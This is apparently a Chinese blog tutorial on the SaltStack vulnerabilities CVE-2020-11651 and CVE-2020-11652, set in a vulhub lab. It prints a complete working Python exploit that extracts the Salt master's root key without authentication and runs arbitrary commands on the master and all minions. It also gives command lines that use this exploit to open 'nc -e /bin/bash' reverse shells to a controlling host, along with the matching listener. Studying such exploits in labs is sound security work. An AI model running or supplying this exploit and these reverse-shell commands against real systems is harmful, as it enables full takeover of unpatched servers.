Python Saltstack框架CVE-2020-11651和CVE-2020-11652漏洞以及POC詳解

最近爆出python saltstack框架CVE-2020-11651 漏洞以及CVE-2020-11652。vulhub漏洞靶場也很快更新了該漏洞的docker環境。網上多數的資料對於漏洞驗證和一些細節介紹的並不完全,本文希望能夠詳細介紹下漏洞原理以及漏洞的POC執行。

CVE-2020-11651:

原理:

CVE-2020-11651的原理是:攻擊者通過構造惡意請求,可以繞過 Salt Master 的驗證邏輯,調用相關未授權函數功能,從而可以造成遠程命令執行漏洞。該原理性的描述可以分爲如下幾個步驟:

  • 1,構造惡意請求,繞過驗證。
  • 2,獲取權限之後,在Master上調用一些函數功能。
  • 3,經過步驟2,本地控制端可以執行遠程命令漏洞。

vulhub上推薦的POC地址這裏,相應的python腳本內容如下:

import os
import sys

import salt
import salt.version
import salt.transport.client
import salt.exceptions
import datetime


def ping_master():
    print("Attempting to ping master at "+master_ip)
    try:
        msg = {"cmd":"ping"}
        response = clear_channel.send(msg, timeout=3)
        if response:
            return True
    except salt.exceptions.SaltReqTimeoutError:
        return False

    return False


def get_rootkey():
    try:
        response = clear_channel.send({'cmd':'_prep_auth_info'}, timeout=2)
        for i in response:
            if isinstance(i,dict) and len(i) == 1:
                rootkey = list(i.values())[0]
                print("Retrieved root key: " + rootkey)
                return rootkey

        return False
        
    except:
        return False


def send_command_to_minions(command):
    print("Sending command to all minions on master")
    jid = "{0:%Y%m%d%H%M%S%f}".format(datetime.datetime.utcnow())
    cmd = "/bin/sh -c '{0}'".format(command)

    msg = {'cmd':"_send_pub","fun":"cmd.run","arg":[cmd],"tgt":"*","ret":"","tgt_type":"glob","user":"root","jid":jid}

    try:
        response = clear_channel.send(msg,timeout=3)
        if response == None:
            return True
        else:
            return False
    except:
        return False



def master_shell(root_key,command):
    # This is achieved by using the stolen key to create a "runner" on the master node using the cmdmod module, then the cmd.exec_code function to run some python3 code that shells out.
    # There is a cmd.shell function but I wasn't able to get it to accept the "cmd" kwarg parameter for some reason.
    # It's also possible to use CVE-2020-11652 to get shell if the master instance is running as root by writing a crontab into a cron directory, or proably some other ways.
    # This way is nicer though, and doesn't need the master to be running as root .


    msg = {"key":root_key,
            "cmd":"runner",
            'fun': 'salt.cmd',
            "kwarg":{
                "fun":"cmd.exec_code",
                "lang":"python3",
                "code":"import subprocess;subprocess.call('{}',shell=True)".format(command)
                },
            'jid': '20200504042611133934',
            'user': 'sudo_user',
            '_stamp': '2020-05-04T04:26:13.609688'}

    try:
        response = clear_channel.send(msg,timeout=3)
        print("Got response for attempting master shell: "+str(response)+ ". Looks promising!")
        return True
    except:
        print("something failed")
        return False



if __name__=="__main__":
    if len(sys.argv) <= 2:
        print("Not enough args")
        print("Use like python3 cve-2020-11651.py <targetip> <master/minions/fetchkeyonly> <command>")
        sys.exit(1)
    
    
    target = sys.argv[1]
    master_minion_root = sys.argv[2]


    master_ip = target
    master_port = '4506'

    minion_config = {

    'transport': 'zeromq',
    'pki_dir': '/tmp',
    'id': 'root',
    'log_level': 'debug',
    'master_ip': master_ip,
    'master_port': master_port,
    'auth_timeout': 5,
    'auth_tries': 1,
    'master_uri': 'tcp://{0}:{1}'.format(master_ip, master_port)
    }

    clear_channel = salt.transport.client.ReqChannel.factory(minion_config, crypt='clear')

    if not ping_master():
        print("Failed to ping the specified master server, exiting")
        sys.exit(1)


    if master_minion_root == "master" or master_minion_root == "minions":
        command = sys.argv[3]
        rootkey = get_rootkey()
        if not rootkey:
            print("Failed to fetch the root key from the instance. This MAY indicate that it is patched")
            sys.exit(1)
        else:
            if master_minion_root == "master":
                master_shell(rootkey,command)
            else:
                send_command_to_minions(command)

    elif master_minion_root == "fetchkeyonly":
        get_rootkey()

    else:
        print("Invalid usage")

對上述腳本做如下的說明:

  • 1,ping_master函數檢查與master主機的連通性,即ping命令。因爲ping是向外暴露的接口,因此此處可以被訪問執行(後面的被調用接口同理),詳見這裏,ClearFuncs類中的expose_methods。
  • 2,get_rootkey函數獲取master主機的的key,這是整個漏洞的關鍵所在。能夠獲取key的原因在於執行執行salt/master.py中的ClearFuncs:_prep_auth_info方法,該方法並沒有做權限校驗,可以直接返回key,詳見1中鏈接的_prep_auth_info函數(從此處應該知道對於向外暴露的接口,一定要控制返回的內容)。具體的請求參見get_rootkey函數。報文如下。
  • 3,master_shell函數,該函數將具體的cmd命令發送給master主機。由於在第二步已經得到了key,這個時候master就認爲請求是合法的命令,會直接進行執行。在該POC中給master發送的命令是執行一個反彈shell,這樣本地控制端就能夠直接控制master節點了。(反彈shell就是將master的shell送給本地控制端,這樣本地控制端通過shell就可以直接操作master主機了,參見後面的執行部分反彈shell命令)
  • 4,send_command_to_minions函數就是告訴master節點將cmd命令發送給所有的minions節點,POC中的cmd同樣是一個反彈shell,這樣本地控制端就可以控制所有的minions節點了。

總結上述的漏洞,由於ClearFuncs:_prep_auth_info方法沒有做校驗,導致key的泄漏,從而導致master節點的權限被本地控制端獲取,在Master以及minions上執行反彈shell,從而獲取機器的控制權。

執行:

1,假設你已經對於vulhub執行的環境依賴都配置好了,如果沒有,參照這裏

2,進入該漏洞目錄saltstack/CVE-2020-11651執行如下命令:

docker-compose up -d

可得到如下圖的docker環境,即安裝了該框架的漏洞環境:
在這裏插入圖片描述
其中4505,4506即本地控制端與salt框架的通信端口。2222是docker對外暴露的,用於宿主機ssh登錄到docker內部的端口。8000是salt API接口。

3,運行官方給出運行該POC的命令爲:

./cve-2020-11651.py 192.168.200.135 master 'nc 192.168.200.137 4444 -e "/bin/bash"'

由於是一個python腳本,在下載該腳本之後,執行命令應該如下:

python3 CVE-2020-11651.py 192.168.200.135 master 'nc 192.168.200.137 4444 -e "/bin/bash"'

該命令解釋如下:

  • 1,CVE-2020-11651.py 爲腳本內容,相關的函數在前面已經介紹過了。
  • 2,192.168.200.135爲master節點的IP地址,也就是vulhub中在saltstack文件下執行docker-compose up -d生成的docker所在宿主機的IP地址,也就是vulhub環境所在的IP。
  • 3,master,minions,fetchkeyonly爲程序中執行不同的函數判斷條件,對應的函數也在前面進行了意義說明。master表示去獲取mater主機shell控制權,minions表示獲取所有的minions控制權,fetchkeyonly表示獲取master的key,但是所有的前提是先獲取key。
  • 4,'nc 192.168.200.137 4444 -e “/bin/bash”'爲向目的IP發送的命令請求,該命令的作用是像192.168.200.137 地址的4444端口反彈shell,192.168.200.137可以是本地控制端的地址。當然本地控制端要想獲取反彈的shell窗口,需要監聽該端口,在本地執行nc -vnlp 4444,如下圖:
    在這裏插入圖片描述其他兩條命令如下:
./cve-2020-11651.py 192.168.200.135 minions 'nc 192.168.200.137 4444 -e "/bin/bash"'
./cve-2020-11651.py 192.168.200.135 fetchkeyonly

則需要相應的替換成爲:

python3 CVE-2020-11651.py 192.168.200.135  minions 'nc 192.168.200.137 4444 -e "/bin/bash"'
python3 CVE-2020-11651.py 192.168.200.135  fetchkeyonly

CVE-2020-11652:

原理:
CVE-2020-11652 是一個目錄遍歷漏洞,通過構造惡意請求,可以讀取、寫入服務器上任意文件。詳細解釋見這裏,如下:

The wheel module contains commands used to read and write files under specific directory paths. The inputs to these functions are concatenated with the target directory and the resulting path is not canonicalized, leading to an escape of the intended path restriction.

The get_token() method of the salt.tokens.localfs class (which is exposed to unauthenticated requests by the ClearFuncs class) fails to sanitize the token input parameter which is then used as a filename, allowing insertion of ".." path elements and thus reading of files outside of the intended directory. The only restriction is that the file has to be deserializable by salt.payload.Serial.loads().

該漏洞不同於CVE-2020-11651的地方之處是,CVE-2020-11651是提權漏洞,是遠程執行的漏洞,獲取權限之後可以操控saltstack。而CVE-2020-11651漏洞是本機執行漏洞,表達在獲取master的執行權之後,能夠做哪些操作,該漏洞目的是在master機器上的任意目錄讀寫文件。

通常來說本地的控制者來說很難直接讓遠程的操作系統給你開放所有文件目錄的讀寫權力,但是操作系統往往沒有限制其運行的進程操作文件的讀寫。嚴格的來說saltstack框架對於文件的讀寫都是應該約定在一些目錄範圍內纔是正確的,但是由於程序員寫的代碼約束不夠,導致了執行saltstack命令可以讀寫任意文件。遠程的控制者就可以通過跟slatstack進行交互,從而控制整個操作系統的文件讀寫。

vulhub上推薦的POC地址這裏這個POC做了同樣的事情。主要步驟如下:

  • 1,執行check_CVE_2020_11652_read_token,該函數的目的在於get_token()方法無法清除令牌輸入參數,該參數隨後用作文件名,從而允許插入"…"路徑元素和 從而讀取預期目錄之外的文件。
  • 2,check_CVE_2020_11652_read讀文件.
  • 3,check_CVE_2020_11652_write1 check_CVE_2020_11652_write2寫於其目錄之外的文件

執行:
不同於上一個漏洞的是,該漏洞需要進入docker內部的環境執行,執行本地的操作,如下圖:
在這裏插入圖片描述
docker環境中已經有git,python的環境,直接git clone 對應的POC 用例,本地執行即可。有的時候ping會存在問題,多次執行即可

本文爲CSDN村中少年原創文章,未經允許不得轉載,博主鏈接這裏

相關鏈接:
https://labs.f-secure.com/advisories/saltstack-authorization-bypass
https://github.com/vulhub/vulhub/tree/master/saltstack
https://github.com/saltstack/salt/blob/a67d76b15615983d467ed81371b38b4a17e4f3b7/salt/wheel/file_roots.py
https://www.jianshu.com/p/9456473a0a14

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章